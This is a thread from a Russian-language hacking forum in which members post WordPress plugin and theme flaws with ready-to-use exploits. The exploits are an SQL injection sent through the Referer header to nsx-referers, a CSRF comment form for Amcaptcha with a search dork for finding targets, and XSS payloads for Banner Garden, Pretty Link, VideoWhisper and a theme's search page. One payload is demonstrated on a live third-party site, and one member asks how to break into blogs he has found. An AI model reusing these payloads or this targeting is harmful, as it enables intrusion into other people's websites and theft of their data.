
23.12.2009, 23:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 14.11.2007
Сообщений: 177
С нами:
9731846
Репутация:
622
|
|
плагин nsx-referers
плагин nsx-referers
/wp-content/plugins/nsx-referers/nsx-referers-stat.php
PHP код:
.......
$referer = $_SERVER['HTTP_REFERER'];
$ref_arr = parse_url("$referer");
.......
$res_query = urldecode($ref_arr['query']);
if (preg_match("/{$hosts[$host]}(.*?)&/si",$res_query."&",$matches))
{
$search = $matches[1];
}
if ($wpdb->rows_affected < 1)
$wpdb->query( "INSERT INTO ".REFTABLE." VALUES ('', '$url', 'NULL', 'NULL', '$search', 1)");
в Referer отсылаем http://yandex.ru/yandsearch?text=wp%27,1),(0x00,0x2f,0x00,0x00,user (),1)%23&lr=6
|
|
|

27.01.2010, 20:11
|
|
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
С нами:
9364549
Репутация:
184
|
|
Есть несколько блогов на одном серваке - версии: 1.5.2, 2.0, 2.0.2
Рега везде отключена.
Пробовал единственный подходящий эксплойт - безуспешно:
Wordpress <= 2.0.6 wp-trackback.php Zend_Hash_Del_Key_Or_Index / sql injection admin hash disclosure exploit
Еще можно что-нибудь предпринять?
|
|
|

28.01.2010, 01:21
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами:
10109126
Репутация:
1980
|
|
Еще можно что-нибудь предпринять?
http://www.milw0rm.com/exploits/3095
Раскрытие путей: http://site.com/wordpress/wp-admin/includes/plugin.php
страшный боян
|
|
|

04.04.2010, 21:06
|
|
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
С нами:
8743576
Репутация:
241
|
|
WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF
Ошибка в коде в функции:
PHP код:
function comment_post ($id){
global $user_ID;
global $langs;
$texts = $langs[get_option('ac_lang')];
if ($user_ID)
return $id;
if ($_POST[$_SESSION['amcaptcha_session']] != '1'){
wp_delete_comment($id);
echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
exit;
}
}
а точнее:
PHP код:
if ($_POST[$_SESSION['amcaptcha_session']] != '1'){
wp_delete_comment($id);
echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
exit;
}
если чел не передал сессию этого модуля ( а точнее не отметил чекбокс --
"Подтверждаю, что я не спам-бот" ) то модуль выдает ошибку и при этом не
фильтрует $_POST['comment'].
Сам сплойт выглядит так :
Код:
<html>
<head>
<title>WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF
Exploit</title>
<!--
Vulnerability found by total90, exploit written by Dr.TRO
-->
</head>
<body>
<form action="http://[Домен][Путь к WP]wp-comments-post.php" method="post"
name="commentform">
<input type="hidden" name="author" value="Dr.TRO" />
<input type="hidden" name="email" value="drtro.public@gmail.com" />
<input type="hidden" name="comment" value="[Уязвимое место]" />
<input type="hidden" name="comment_post_ID" value="[ID существующего
поста]" />
<input type="submit" name="submit" value="Request" />
</form>
</body>
</html>
Анализ кода и сплойт by Dr.TRO
Google dork: Для того, чтобы иметь возможность комментировать, включите
JavaScript в Вашем браузере.
Последний раз редактировалось total90; 05.04.2010 в 22:41..
|
|
|

06.05.2010, 13:48
|
|
Участник форума
Регистрация: 05.06.2009
Сообщений: 225
С нами:
8912421
Репутация:
297
|
|
как узнать версию wp ?
|
|
|

07.05.2010, 22:46
|
|
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
С нами:
8743576
Репутация:
241
|
|
Сообщение от winlogon.exe
как узнать версию wp ?
В исходникe стрaницы зaчaстую eсть.
п.с. в этой тeмe это считaeтся оффтопом.
|
|
|

15.05.2010, 10:55
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
Banner Garden Версия 0.1.3
скачал туто: http://wordpress.org/extend
bg-plugin-ajax.php - в корне плагина.
Пасивная XSS
PHP код:
header('Content-type: text/html; charset=UTF-8');
require_once ("../../../wp-config.php");
load_plugin_textdomain( 'bannergarden', false, dirname( plugin_basename( __FILE__ )).'/localization' );
require_once ("bannergarden.class.php");
if (class_exists('BannerGarden')) {
$bg = new BannerGarden();
}
switch ($_POST["type"]) {
case "pic":
$val_arr = array('picture' => base64_decode($_POST["picture"]),
'link' => base64_decode($_POST["link"]),
'new_window' => $_POST["nw"]);
$frm = $bg->GetBannerAjaxForm('pic',$val_arr);
echo $frm;
break;/*...*/
bannergarden.class.php
PHP код:
/*...*/function GetBannerAjaxForm($type,$values = array()) {
switch ($type) {
/**** Picture ****/
case "pic":
$picture = '';
$link = '';
$nw_checked = '';
if (array_key_exists('picture',$values)) {
$picture = $values['picture'];
}
if (array_key_exists('link',$values)) {
$link = $values['link'];
}
if (array_key_exists('new_window',$values)) {
$new_window = $values['new_window'];
if ($new_window == 1) {
$nw_checked = ' checked="checked"';
}
}
$html = '<div class="bg_label">'.__('URL of picture:','bannergarden').'</div>';
$html .= '<small>'.__('Type an image url, or upload / select and image for the banner.','bannergarden').'</small>';
$html .= '<div class="bg_input"><input type="text" id="adpicture" name="adpicture" value="'.$picture.'" /> <input id="upload_button" type="button" value="'.__('Upload / Select Image','bannergarden').'" /></div>';
$html .= '<div class="bg_label">'.__('Link on click:','bannergarden').'</div>';
$html .= '<small>'.__('Enter a URL where we redirect the user. Use full URL start with "http://" or "https://"','bannergarden').'</small>';
$html .= '<div class="bg_input"><input type="text" id="adlink" name="adlink" value="'.$link.'" /></div>';
$html .= '<div class="bg_label">'.__('Open in new window?','bannergarden').'</div>';
$html .= '<small>'.__('Check this box if you want the link to open in a new window.','bannergarden').'</small>';
$html .= '<div class="bg_input"><input type="checkbox" name="adnewwindow" value="1"'.$nw_checked.' /></div>';
break;/*...*/
Результат:
<form action="http://wordpress/wp-content/plugins/banner-garden/bg-plugin-ajax.php" method=post>
<input type=hidden name=link value="Ij48c2NyaXB0PmFsZXJ0KDEyMyk8L3NjcmlwdD48YnI =">
<input type=hidden name=type value=pic>
<input type=submit>
</form>
|
|
|

16.05.2010, 15:33
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
Pretty Link Version: 1.4.47
скачать
Пасивная XSS
http://[host]/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=<script>alert(123)</script>
уязвимый скрипт: wp-content/plugins/pretty-link/pretty-bar.php
PHP код:
/*...*/
$target_url = $_GET['url'];
$shortened_title = stripslashes(substr($prli_blogname,0,$bar_title_limit));
$shortened_desc = stripslashes(substr($prli_blogdescription,0,$bar_desc_limit));
$shortened_link = stripslashes(substr($target_url,0,$bar_link_limit));
if(strlen($prli_blogname) > $bar_title_limit)
$shortened_title .= "...";
if(strlen($prli_blogdescription) > $bar_desc_limit)
$shortened_desc .= "...";
if(strlen($target_url) > $bar_link_limit)
$shortened_link .= "...";
/*...*/
/*...*/
<?php if( $bar_show_target_url_link ) { ?>
<a href="<?php echo $target_url; ?>" title="You're viewing: <?php echo $target_url; ?>" target="_top">Viewing: <?php echo $shortened_link; ?></a>
<?php } else echo " "; ?>
/*...*/
Результат: http://[host]/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=<script>alert(123)</script>
|
|
|

24.05.2010, 02:48
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
VideoWhisper Live Streaming Integration
Version: 2.1 Downloads 3,814 скачать
Как бы смотрел... Все-таки напишу хоть и пасивки...
Passive XSS
plugins/videowhisper-live-streaming-integration/ls/v_status.php
PHP код:
$room=$_POST[r];
$session=$_POST[s];
$username=$_POST[u];
$message=$_POST[m];
$currentTime=$_POST[ct];
$lastTime=$_POST[lt];
$maximumSessionTime=0; //900000ms=15 minutes; 0 for unlimited
$disconnect=""; //anything else than "" will disconnect with that message
?>timeTotal=<?=$maximumSessionTime?>&timeUsed=<?=$currentTime?>&lastTime=<?=$currentTime?>&disconnect=<?=$disconnect?>&loadstatus=1
Експлуатация:
POST
ct=<script>alert(123)</script>
Passive XSS
/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php
PHP код:
/*...*/
<div class="info"><h1><?=$_GET[message]?></h1>Chat session ended: You can close this window.</div>
/*...*/
http://[host]/[path]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=%3Cscript%3Ealert%28123%29%3 C/script%3E
Пишем в файл. Если есть LFI то повезло.
plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php
PHP код:
<?php
$username=$_POST['u'];
$session=$_POST['s'];
$room=$_POST['r'];
$message=$_POST['msg'];
$time=$_POST['msgtime'];
//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;
$dir="uploads";
if (!file_exists($dir)) mkdir($dir);
$dir.="/$room";
if (!file_exists($dir)) mkdir($dir);
$day=date("y-M-j",time());
$dfile = fopen("uploads/$room/Log$day.html","a");
fputs($dfile,$message."<BR>");
fclose($dfile);
?>loadstatus=1
Путь wp-content/plugins/videowhisper-live-streaming-integration/ls/uploads
Последний раз редактировалось Strilo4ka; 24.05.2010 в 03:11..
|
|
|

06.06.2010, 21:49
|
|
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
С нами:
8743576
Репутация:
241
|
|
Wordpress 2.9.2 Passive XSS
Search.php
Сразу оговорюсь, данная уязвимость присутствует не во всех wp-темах.
Рассмотрим тему Simple Balance
search.php:
PHP код:
<?php include (TEMPLATEPATH . '/header.php'); ?>
<div id="page">
<?php
if (!isset($theme_options["layout_style"]) || $theme_options["layout_style"] == "scs") {
include (TEMPLATEPATH . '/lsidebar.php');
}
?>
<div id="content">
<?php include (TEMPLATEPATH . '/topads.php'); ?>
<h4 class="archiveTitle">Результаты поиска <strong>'<?php echo $s?>'</strong></h4>
<?php if (have_posts()) : ?>
<?php while (have_posts()) : the_post(); ?>
<div class="post">
<div class="postTitle"><h2><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title(); ?></a></h2></div>
<div class="postInfo">Опубликовано <?php the_time('d.m.Y'); ?> в рубрике <?php the_category(', ') ?> <?php edit_post_link('изменить', '(', ')'); ?></div>
<div class="postContent">
<?php the_excerpt(); ?>
</div>
<?php if(function_exists('the_tags')) { ?><div class="postExtras"><strong>Метки:</strong> <?php the_tags('', ', ', ''); ?></div><?php } ?>
<div class="postMeta">
<span class="postLink"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>">Читать пост</a></span>
<?php
$comNo = get_comment_type_count('comment'); // Checking if there are any actual comments (trackbacks and pingbacks excluded)
if ($comNo == 1 ) {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируете?', 'Один комментарий', 'Комментариев '.$comNo.''); ?></span>
<?php }
elseif ($comNo > 1) {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируете?', 'Один комментарий', 'Комментариев '.$comNo.''); ?></span>
<?php }
else {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируете?', 'Прокомментируете?', 'Прокомментируете?'); ?></span>
<?php } ?>
</div>
</div>
<?php endwhile; ?>
<div class="navigation">
<div class="left"><?php previous_posts_link('« В будущее') ?></div>
<div class="right"><?php next_posts_link('В прошлое »') ?></div>
</div>
<?php else: ?>
Ничего не найдено.<br />
Извините, по вашему запросу ничего не найдено. Возможно, вам стоит изменить параметры поиска?
<?php endif; ?>
</div>
<?php
if (isset($theme_options["layout_style"]) && $theme_options["layout_style"] == "css") {
include (TEMPLATEPATH . '/lsidebar.php');
}
?>
<?php include (TEMPLATEPATH . '/rsidebar.php'); ?>
</div>
<?php include (TEMPLATEPATH . '/footer.php'); ?>
нас интересует только:
PHP код:
<h4 class="archiveTitle">Результаты поиска <strong>'<?php echo $s?>'</strong></h4>
Как видим, скрипт выводит параметр $s, никак не фильтруя его.
Соответственно если передать скрипту js код в теге <script>, он выполнится.
Эксплуатация:[host]/[path]/?s=[xss]
Пример: http://seocekret.ru/?s=<script>alert()</script>
Последний раз редактировалось total90; 07.06.2010 в 19:40..
Причина: спасибо brain[pillow]
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|